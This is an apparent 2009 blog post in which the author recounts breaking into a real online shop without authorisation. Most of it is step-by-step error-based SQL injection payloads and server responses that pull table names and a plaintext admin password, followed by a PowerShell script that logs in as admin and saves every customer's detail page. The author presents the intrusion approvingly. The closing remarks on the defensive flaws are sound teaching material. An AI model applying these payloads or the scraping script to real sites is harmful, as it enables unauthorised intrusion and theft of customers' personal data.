Some days ago I was browsing an online shop. I just wanted to find some goods by number. I tried several times and once I entered an improper input accidentally (something what could not be converted to string). I was very surprised that and error was written directly into the page. Because of some reason javascript validation failed and my input went up to the data layer. Bang! I'll show you my steps how I tried and succedded to hack their web site.

Basic SQL injection

First of all it's a "duty" to try classic SQL injection method how to log in as admin. sql injection attempt Not successfull, I saw an error. attempt failed However, when I looked at Fiddler, the result was better:

  Microsoft OLE DB Provider for SQL Server error '80040e14'

  Incorrect syntax near the keyword 'OR'.

  /login_action.asp, line 7 
  
In this case I had no idea what was going on. They probably tried to handle the ' character, therefore the statement was not valid.

Only javascript validation is not enough

Let's go back. The first error I saw when javascript validation failed was promising. In my case the search form of the shop looked like this: our entry form In case that you pick 'v katalogu' in the select element, the value from the input is taken as goods name. If you pick 'číslo zboží', the input is validated as number and if successfull it is sent to data layer.

Ok, let's try some interesting characters that we could use later. Enter '=() +', select 'v katalogu' and submit.. our entry form To catch the result, it's best to use Fiddler. The body of the request was

f=%27%3D%28%29+%2B&kde=katalog
And the result (only the interesting part):
Line 1: Incorrect syntax near '='.
We have learned how to encode some characters, e.g. equal sign ('=') is encoded as %3D.

Now it's time to play with the option 'číslo zboží' from the select, it's html value is 'cislo' (so we will see this value in the request). We know that there is something special about the option – the input is validated as number at browsers side so it could be vulnerable more than the first option.
I ran Fiddler and opened "Request Builder" dialog and put select count(*) from tbl as input value . first attempt via fiddler The result was:

Invalid object name 'tbl'.
It meant that my expression was evaluated! And their query could look like this: "select * from Goods where id = " + value . This knowledge opens the gate. Then I tried to get all the goods in the system and it worked too (1 or 1=1--).

Then I moved to other interesting expressions – the first one was user name. Request:

f=USER_NAME%285%29&kde=cislo
Response:
Syntax error converting the nvarchar value 'IUSR_SERVER1' to a column of data type int.
Wow, this was crucial. The SQL server tries to convert the string value to int. That means that if you expression result is string, you will see it. This is my way of SQL injection :)

The rest is – how to find admin's password, if it is possible? First I need to know the name of the tables. Request:

f=%28select+top+1+table_name+from+INFORMATION_SCHEMA.TABLES%29&kde=cislo
Response:
Syntax error converting the nvarchar value 'tZakaznikTyp' to a column of data type int.
The name of the first table is 'tZakaznikTyp' (= customer type). Then I guessed that other interesting table could be 'tZakaznik' (= customer). And the name of the column with name could be Jmeno (= name). Let's try to pick first name in the table:
f=%28select+top+1+Jmeno+from+tZakaznik%29&kde=cislo
Response:
Syntax error converting the varchar value 'admin' to a column of data type int.
Hmm, that was easy. The first recored is usually admininstrator. It's clear that I'm on the right track.
f=%28select+top+1+Password+from+tZakaznik%29&kde=cislo
Response:
Syntax error converting the varchar value 'apple073' to a column of data type int.
They don't encrypt the passwords. We got it. We have admin's name and password.

Grabbing customer's passwords

As admin I have full access to the whole site. To customer details, their orders, type of goods, ... I was quite interested in passwords and theirs strength. So I would like to grab them somehow. For this purpose I will use PowerShell. First I download the html page with all the customers. For each customer there is a link to his/her detail (based on unique customer Id). So we need to open a page with customer detail, take the html code and parse the password.

Parsing Id's is quite easy:

  $customers = gc c:\customers.html
  $matches = [regex]::Matches($customers, 'zakaznici_detail\.asp\?ID=(?\d+)')
  $ids = @()
  $matches | % { $ids += $_.Groups["id"].value }
Then we will start Internet Explorer and log in manually as admin with credentials currently discovered.
  $ie = new-object -com "InternetExplorer.Application"
  $ie.Visible = $true
After we have logged in we just go through the Ids, navigate Internet Explorer to the customer detail, pick the html code and store it.
  $ids | % {
    $id = $_;
    $ie.navigate("http://www.example.com/admin/zakaznici_detail.asp?id=$id")
    start-sleep -sec 1
    $body = $ie.document.body | % { $_.outerHtml }
    sc "c:\$id" -value $body
  }
The 1 sec delay is there to give the browser some time to load the document and not to load the server too much (altough it's debatable).

Lessons learned

That's all. Now we have stored details of all the customers in the shop. Great, isn't it? However, I must admit that all the funny hacking was possible because the one who created the shop, had made some serious mistakes. If he repairs one, my way of hacking can be forgotten :) What are the mistakes?

  • Validation – is done only at client's side. In this case the creator probably thought that if I turn off javascript (to bypass the number validation), I will not be able to submit the form. Quite foolish, he probably doesn't know what robot is. The most serious mistake here was that the input wasn't validated at the server side. Either displaying application error message or using default values would stop me.
  • Writing SQL errors directly into page – it's like "try anything and I will tell you how you succeeded". If the application just wrote "Houston, we have a problem" and nothing more, it would be enough. However, validation (from the mistake #1) should not allow the attacker cause the error.
  • Passwords in plain text – very surprising, I didn't expect it. If I knew only admins name and not the password, I would be stuck (not considering brute force). Probably it could be enough to stop me.
I hope this shop was an exception on the Internet showing how irresponsibly security can be considered.

I warned them that their site is vulnerable. I hope they are working on it, because I like the shop.

Meta: 2009-02-20, Pepa

Tags: Security